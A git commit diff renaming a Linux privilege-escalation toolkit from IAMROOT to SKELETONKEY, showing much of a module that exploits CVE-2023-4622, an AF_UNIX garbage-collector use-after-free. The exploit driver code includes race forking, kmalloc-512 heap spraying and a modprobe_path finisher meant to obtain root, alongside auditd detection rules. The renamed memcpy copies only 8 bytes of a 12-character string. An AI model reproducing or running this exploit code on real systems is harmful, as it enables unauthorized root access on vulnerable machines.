rename: IAMROOT → SKELETONKEY across the entire project
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions

Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
2026-05-16 22:43:49 -04:00
parent 9d88b475c1
commit 9593d90385
109 changed files with 1711 additions and 1701 deletions
+1 -1
View File
@@ -18,7 +18,7 @@ Upstream fix: mainline 6.6-rc1 (commit `0cabe18a8b80c`, Aug 2023).
Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 /
5.15.130 / 6.1.51 / 6.5.0.
## IAMROOT role
## SKELETONKEY role
**Widest deployment of any module in the corpus** — bug present
in every Linux kernel below the fix (back to ~2.0 era).
@@ -1,12 +0,0 @@
/*
* af_unix_gc_cve_2023_4622 — IAMROOT module registry hook
*/
#ifndef AF_UNIX_GC_IAMROOT_MODULES_H
#define AF_UNIX_GC_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module af_unix_gc_module;
#endif
@@ -1,5 +1,5 @@
/*
* af_unix_gc_cve_2023_4622 IAMROOT module
* af_unix_gc_cve_2023_4622 SKELETONKEY module
*
* AF_UNIX garbage collector race UAF. The unix_gc() collector walks
* the list of GC-candidate sockets while SCM_RIGHTS sendmsg/close can
@@ -55,7 +55,7 @@
* carries the widest version range of any module we ship.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -127,12 +127,12 @@ static bool can_create_af_unix(void)
return true;
}
static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* No lower bound: this bug has been in the AF_UNIX GC path since
@@ -144,7 +144,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Reachability probe — socket(AF_UNIX, ...) must succeed. */
@@ -153,7 +153,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] af_unix_gc: AF_UNIX socket() failed — "
"exotic seccomp/sandbox, bug unreachable here\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
@@ -163,7 +163,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
" creatable). The race window is microseconds wide and\n"
" needs thousands of iterations to win on average.\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Race-driver state ------------------------------------------- */
@@ -376,7 +376,7 @@ static int spray_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
memset(&p, 0, sizeof p);
p.mtype = 0x55; /* 'U' — unix */
memset(p.buf, 0x55, sizeof p.buf);
memcpy(p.buf, "IAMROOTU", 8);
memcpy(p.buf, "SKELETONKEYU", 8);
int created = 0;
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
@@ -537,40 +537,40 @@ static int af_unix_gc_arb_write(uintptr_t kaddr,
/* ---- Exploit driver ---------------------------------------------- */
static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_unix_gc_exploit_linux(const struct skeletonkey_ctx *ctx)
{
/* 1. Refuse-gate: re-call detect() and short-circuit. */
iamroot_result_t pre = af_unix_gc_detect(ctx);
if (pre == IAMROOT_OK) {
skeletonkey_result_t pre = af_unix_gc_detect(ctx);
if (pre == SKELETONKEY_OK) {
fprintf(stderr, "[+] af_unix_gc: kernel not vulnerable; refusing exploit\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (pre != IAMROOT_VULNERABLE) {
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Full-chain pre-check: resolve offsets BEFORE the race fork. If
* modprobe_path is unresolvable we refuse here rather than running
* a 30 s race that has no finisher to call. */
struct iamroot_kernel_offsets off;
struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("af_unix_gc");
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("af_unix_gc");
fprintf(stderr, "[-] af_unix_gc: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n");
fprintf(stderr, "[i] af_unix_gc: even with offsets, race-win rate is\n"
" a small fraction per run — see module header.\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
full_chain_ready = true;
fprintf(stderr, "[i] af_unix_gc: --full-chain ready — race budget extends\n"
" to %d s. RELIABILITY remains race-dependent on a real\n"
@@ -588,7 +588,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
signal(SIGPIPE, SIG_IGN);
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* 2. Groom: pre-populate kmalloc-512 with msg_msg payloads
@@ -635,7 +635,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
uint64_t a_errs = atomic_load(&g_thread_a_errs);
/* 4. Empirical witness breadcrumb. */
FILE *log = fopen("/tmp/iamroot-af_unix_gc.log", "w");
FILE *log = fopen("/tmp/skeletonkey-af_unix_gc.log", "w");
if (log) {
fprintf(log,
"af_unix_gc race harness (CVE-2023-4622):\n"
@@ -684,18 +684,18 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
.n_queues = AFUG_SPRAY_QUEUES,
.arb_calls = 0,
};
int fr = iamroot_finisher_modprobe_path(&off,
int fr = skeletonkey_finisher_modprobe_path(&off,
af_unix_gc_arb_write,
&arb_ctx,
!ctx->no_shell);
FILE *fl = fopen("/tmp/iamroot-af_unix_gc.log", "a");
FILE *fl = fopen("/tmp/skeletonkey-af_unix_gc.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
fr, arb_ctx.arb_calls);
fclose(fl);
}
drain_kmalloc_512(queues);
if (fr == IAMROOT_EXPLOIT_OK) _exit(34); /* root popped */
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); /* root popped */
_exit(35); /* finisher ran, no land */
}
@@ -729,7 +729,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
/* PARENT */
int status = 0;
pid_t w = waitpid(child, &status, 0);
if (w < 0) { perror("waitpid"); return IAMROOT_TEST_ERROR; }
if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
if (WIFSIGNALED(status)) {
int sig = WTERMSIG(status);
@@ -738,26 +738,26 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
"(consistent with UAF firing under KASAN)\n", sig);
fprintf(stderr, "[~] af_unix_gc: empirical signal recorded; no cred\n"
" overwrite primitive — NOT claiming EXPLOIT_OK.\n"
" See /tmp/iamroot-af_unix_gc.log + dmesg for witnesses.\n");
" See /tmp/skeletonkey-af_unix_gc.log + dmesg for witnesses.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] af_unix_gc: child terminated abnormally (status=0x%x)\n",
status);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
if (rc == 23 || rc == 24) return IAMROOT_PRECOND_FAIL;
if (rc == 23 || rc == 24) return SKELETONKEY_PRECOND_FAIL;
if (rc == 34) {
if (!ctx->json) {
fprintf(stderr, "[+] af_unix_gc: --full-chain finisher reported "
"EXPLOIT_OK (race won + write landed)\n");
}
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
if (rc == 35) {
if (!ctx->json) {
@@ -765,11 +765,11 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
" win + land within budget (expected outcome on most\n"
" runs — race wins are a fraction of a percent).\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (rc != 30) {
fprintf(stderr, "[-] af_unix_gc: child failed at stage rc=%d\n", rc);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -778,39 +778,39 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
" implemented (per-kernel offsets; see module .c TODO\n"
" blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
static iamroot_result_t af_unix_gc_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_unix_gc_exploit(const struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized) {
fprintf(stderr, "[-] af_unix_gc: --exploit requires --i-know; refusing\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
#ifdef __linux__
return af_unix_gc_exploit_linux(ctx);
#else
(void)ctx;
fprintf(stderr, "[-] af_unix_gc: Linux-only module; cannot run on this host\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#endif
}
/* ---- Cleanup ----------------------------------------------------- */
static iamroot_result_t af_unix_gc_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_unix_gc_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] af_unix_gc: cleaning up race-harness breadcrumb\n");
}
if (unlink("/tmp/iamroot-af_unix_gc.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-af_unix_gc.log") < 0 && errno != ENOENT) {
/* harmless */
}
/* Race threads + msg queues live inside the now-exited child;
* nothing else to drain. */
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ---- Detection rules --------------------------------------------- */
@@ -821,11 +821,11 @@ static const char af_unix_gc_auditd[] =
"# SCM_RIGHTS passing inflight fds, followed by close. Each call is\n"
"# benign — flag the *frequency* by correlating these keys with a\n"
"# subsequent KASAN message in dmesg.\n"
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k iamroot-afunixgc-pair\n"
"-a always,exit -F arch=b64 -S sendmsg -k iamroot-afunixgc-sendmsg\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-afunixgc-spray\n";
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k skeletonkey-afunixgc-pair\n"
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-afunixgc-sendmsg\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-afunixgc-spray\n";
const struct iamroot_module af_unix_gc_module = {
const struct skeletonkey_module af_unix_gc_module = {
.name = "af_unix_gc",
.cve = "CVE-2023-4622",
.summary = "AF_UNIX garbage-collector race UAF (Lin Ma) — kmalloc-512 slab UAF",
@@ -841,7 +841,7 @@ const struct iamroot_module af_unix_gc_module = {
.detect_falco = NULL,
};
void iamroot_register_af_unix_gc(void)
void skeletonkey_register_af_unix_gc(void)
{
iamroot_register(&af_unix_gc_module);
skeletonkey_register(&af_unix_gc_module);
}
@@ -0,0 +1,12 @@
/*
* af_unix_gc_cve_2023_4622 — SKELETONKEY module registry hook
*/
#ifndef AF_UNIX_GC_SKELETONKEY_MODULES_H
#define AF_UNIX_GC_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module af_unix_gc_module;
#endif